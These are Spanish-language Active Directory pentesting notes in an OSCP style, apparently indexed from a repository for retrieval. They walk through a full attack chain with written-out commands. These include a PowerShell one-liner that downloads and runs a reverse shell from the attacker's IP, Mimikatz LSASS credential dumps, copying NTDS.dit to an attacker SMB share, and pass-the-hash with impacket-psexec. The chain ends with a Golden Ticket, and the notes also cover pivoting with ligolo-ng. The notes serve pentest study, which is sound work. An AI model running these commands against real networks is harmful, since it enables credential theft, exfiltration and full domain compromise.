7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
19 KiB
19 KiB
Apuntes Active Directory Pentest
Mimikatz · Impacket · Kerberos · BloodHound · Pivoting
El mapa mental de todo
┌─────────────────────────────┐ ┌──────────────────────────────┐
│ TU KALI/DEBIAN │ │ VICTIMA WINDOWS │
│ (la atacante) │ │ (cliente o servidor) │
├─────────────────────────────┤ ├──────────────────────────────┤
│ │ │ │
│ ┌─ Impacket ─────────────┐ │ │ ┌─ Procesos a saquear ─┐ │
│ │ secretsdump (hashes) ├──┼─────┼──┤ LSASS (creds en RAM) │ │
│ │ psexec (shell) ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│ │
│ │ GetUserSPNs (kerb) ├──┼─────┼──┤ SAM/SYSTEM │ │
│ │ getTGT (kerb) │ │ │ └──────────────────────┘ │
│ └────────────────────────┘ │ │ │
│ │ │ ┌─ Lo que SUBES tú ────┐ │
│ ┌─ BloodHound ───────────┐ │ │ │ mimikatz.exe │ │
│ │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS │ │
│ │ neo4j + GUI (visualiza)│ │ │ │ Invoke-ConPtyShell.ps1│ │
│ └────────────────────────┘ │ │ │ Invoke-PowerShellTcp │ │
│ │ │ └──────────────────────┘ │
│ ┌─ Listener / loot ──────┐ │ │ │
│ │ nc -lvnp 4444 (shell) │◄─┼─TCP─┼─── reverse shell │
│ │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools │
│ │ smbserver.py (loot) │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc. │
│ └────────────────────────┘ │ │ │
└─────────────────────────────┘ └──────────────────────────────┘
Idea clave: tú no tienes "GUI" central. Cada herramienta es independiente y se comunica por red con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.
Quién hace qué
Mimikatz
Es un .exe que se ejecuta DENTRO de la víctima Windows. No corre en Kali. Su trabajo: leer la memoria del proceso LSASS (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.
tú (Kali) víctima Windows
───────── ────────────────
│
│ 1. Levantas HTTP en tu carpeta de herramientas
│
│ ┌────────────┐
│ 2. desde │ PowerShell │ iwr http://kali/mimikatz.exe -o m.exe
│ reverse │ shell │
│ shell ──► └─────┬──────┘
│ │
│ ▼
│ ┌────────────────┐
│ │ m.exe │ privilege::debug
│ │ │ sekurlsa::logonpasswords
│ 4. ves ◄───┤ vuelca creds │ lsadump::sam
│ hashes │ del LSASS │ lsadump::dcsync /user:Administrator
│ └────────────────┘
Impacket
Es una suite Python que corre en TU Kali. Habla los protocolos de Windows (SMB, RPC, Kerberos) sin necesidad de ser Windows. Es como tener un "Windows hablante" en tu Kali.
Los más útiles:
impacket-psexec → te da shell en la víctima si tienes creds (estilo PsExec)
impacket-wmiexec → ejecutas comandos sin tocar disco
impacket-smbexec → otra forma de ejecución remota
impacket-secretsdump → vuelca todo el NTDS.dit y SAM de un DC, en remoto
impacket-GetUserSPNs → ataque KERBEROASTING (saca TGS de cuentas de servicio)
impacket-GetNPUsers → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
impacket-getTGT → forja/pide un TGT con cred conocida
impacket-getST → pide un service ticket
impacket-smbserver → monta un share SMB falso (para exfiltrar a Kali)
impacket-ntlmrelayx → relay attacks NTLM
Kerberos en 30 segundos
┌──────────┐ ┌────────────────┐
│ Usuario │ ¿Pwd? │ KDC (Domain │
│ (cliente)│ ─────────────► │ Controller) │
└────┬─────┘ └────┬───────────┘
│ │
│ ◄──── TGT (te identifica)│
│ │
│ TGT + "quiero \\fileSrv" │
├──────────────────────────►│
│ │
│ ◄──── TGS (para fileSrv)│
│ │
│ ┌───────────┐ │
└──────────►│ fileServer│ "este TGS prueba que soy yo"
└───────────┘
- TGT = "carnet maestro" del KDC. Lo guarda el cliente.
- TGS = "ticket de un día" para hablar con un servicio concreto.
- Trucos: si pillas un TGT/TGS válido lo puedes reutilizar (pass-the-ticket). Si pillas el hash de
krbtgt(la cuenta que firma TODOS los TGT) puedes forjar Golden Tickets = ser cualquiera, para siempre.
La cadena de ataque "OSCP típica" con esto
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1) RCE inicial en una web ───────► reverse shell PowerShell │
│ (sqli, file upload, etc.) en máquina USUARIO1 │
│ │
│ │ │
│ ▼ │
│ │
│ 2) WinPEAS desde tu carpeta ──► subes y ejecutas │
│ enumera permisos, AlwaysInstallElevated, etc. │
│ │
│ │ │
│ ▼ │
│ │
│ 3) Local privesc ──► SYSTEM en USUARIO1 │
│ │
│ │ │
│ ▼ │
│ │
│ 4) Mimikatz ──► sekurlsa::logonpasswords │
│ → hash NTLM de un usuario de dominio (DOMAIN\juan) │
│ │
│ │ │
│ ▼ │
│ │
│ 5) BloodHound ──► "¿juan es admin en algún sitio?" │
│ "¿juan puede llegar a Domain Admin por algún camino?" │
│ │
│ │ │
│ ▼ │
│ │
│ 6) Impacket-psexec con el hash de juan ──► shell en SERVER2 │
│ impacket-psexec -hashes :HASH 'juan@server2.local' │
│ │
│ │ │
│ ▼ │
│ │
│ 7) Si server2 = Domain Controller: │
│ impacket-secretsdump ──► vuelcas TODA la BD del dominio │
│ (NTDS.dit, krbtgt, etc.) │
│ │
│ │ │
│ ▼ │
│ │
│ 8) Con hash de krbtgt: │
│ impacket-ticketer ──► Golden Ticket → eres dios │
│ │
└─────────────────────────────────────────────────────────────────┘
Cómo se monta cada pieza en la práctica
A) Levantas tu "puesto de mando" en Kali (terminales abiertos)
┌─ Terminal 1 (listener de shells) ─────────────────────────┐
│ stty raw -echo; (stty size; cat) | nc -lvnp 4444 │
└────────────────────────────────────────────────────────────┘
┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
│ cd tu carpeta │
│ python3 -m http.server 80 │
└────────────────────────────────────────────────────────────┘
┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
│ mkdir /tmp/loot && cd /tmp/loot │
│ impacket-smbserver loot . -smb2support │
└────────────────────────────────────────────────────────────┘
┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
│ $ │
└────────────────────────────────────────────────────────────┘
B) Recibes una reverse shell
Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
Tu Terminal 1 te da una shell interactiva Windows.
C) Subes y ejecutas Mimikatz desde esa shell
# Dentro de la shell, en la víctima:
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
C:\Windows\Temp\m.exe
Y dentro de mimikatz:
privilege::debug
sekurlsa::logonpasswords
Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).
D) Exfiltras un fichero grande (NTDS.dit, etc.)
Desde la víctima:
copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
Aparece en /tmp/loot/ en tu Kali. Esto sustituye al wget, porque SMB cifra y atraviesa muchos firewalls.
E) Lateral movement con Impacket (sin reverse shell nueva)
Una vez tienes hash de un user privilegiado:
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
Te da shell SYSTEM en otra máquina, sin necesidad de meter ninguna reverse shell. Por encima de la red, autenticado, limpio.
F) Pivoting (entrar en una red interna) con ligolo-ng
TU KALI USUARIO1 RED INTERNA
10.10.10.5 10.10.10.50 192.168.5.0/24
│ │ │
│ ligolo proxy │ │
│ ───── tunel ─────► │ │
│ │ │
│ ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
│ │
│ añades ruta: │
│ ip route add │
│ 192.168.5.0/24 dev ligolo
│
│ ahora desde Kali:
│ impacket-psexec admin@192.168.5.10 ◄── el tráfico va por el túnel
▼
BloodHound — qué hace y cómo lo montas
Qué hace
Te dibuja Active Directory como un grafo. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:
"¿Cuál es el camino más corto desde juan hasta Domain Admins?"
Y te lo pinta. Te ahorra días de mirar listados de grupos a mano.
┌─────────┐ MemberOf ┌──────────────┐
│ juan ├─────────────►│ HelpDesk │
└─────────┘ └──────┬───────┘
│ AdminTo
▼
┌──────────────┐
│ workstation42│
└──────┬───────┘
│ HasSession (admin con sesión activa aquí)
▼
┌──────────────┐
│ ana │
└──────┬───────┘
│ MemberOf
▼
┌──────────────┐
│ Domain Admins│ ← jackpot
└──────────────┘
Componentes
┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
│ SharpHound (.exe)│ o │ bloodhound-python│ ────► │ JSON files │
│ corre en víctima │ │ corre en Kali │ │ con datos AD│
└──────────────────┘ └─────────────────┘ └──────┬───────┘
│
▼
┌──────────────────┐
│ BloodHound GUI │
│ (en tu Kali) │
│ + │
│ Neo4j (base BD) │
└──────────────────┘
- SharpHound = el "recolector" que enumera AD. Hay versión
.exe(subes a víctima) y.py(corres desde Kali si ya tienes creds y conectividad). - BloodHound GUI = la interfaz gráfica donde cargas el JSON y haces queries.
- Neo4j = la base de datos del grafo (la GUI la necesita).
Instalación en Debian
sudo apt install -y bloodhound bloodhound.py
# Neo4j (la BD que necesita BloodHound)
sudo apt install -y neo4j
sudo systemctl start neo4j
sudo neo4j-admin set-initial-password 'BloodHound1!'
Uso (workflow)
# 1) Recolectar datos desde Kali (necesitas creds válidas)
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
# → genera varios .json en el directorio actual
# 2) Lanzar la GUI
bloodhound
# Login: neo4j / BloodHound1!
# Arrastras los .json a la ventana → quedan cargados
# 3) Queries útiles ya integradas:
# - Find Shortest Paths to Domain Admins
# - Find Kerberoastable Accounts
# - Find AS-REP Roastable Users
Resumen TL;DR
| Pregunta | Respuesta |
|---|---|
| ¿Tengo GUI central? | No. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
| ¿Reverse shell? | nc + Invoke-ConPtyShell desde la víctima. Lo recibes en nc -lvnp 4444. |
| ¿Cómo envío datos? | Subes con python3 -m http.server. Recibo con impacket-smbserver. |
| ¿Cómo pivoto? | ligolo-ng (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
| ¿BloodHound? | apt install bloodhound bloodhound.py neo4j. |
| ¿Mimikatz? | Descargado en tu carpeta. Se ejecuta en la víctima, no en Kali. |
| ¿Impacket? | Instalado a nivel sistema (impacket-*). Corre en Kali, habla con víctimas. |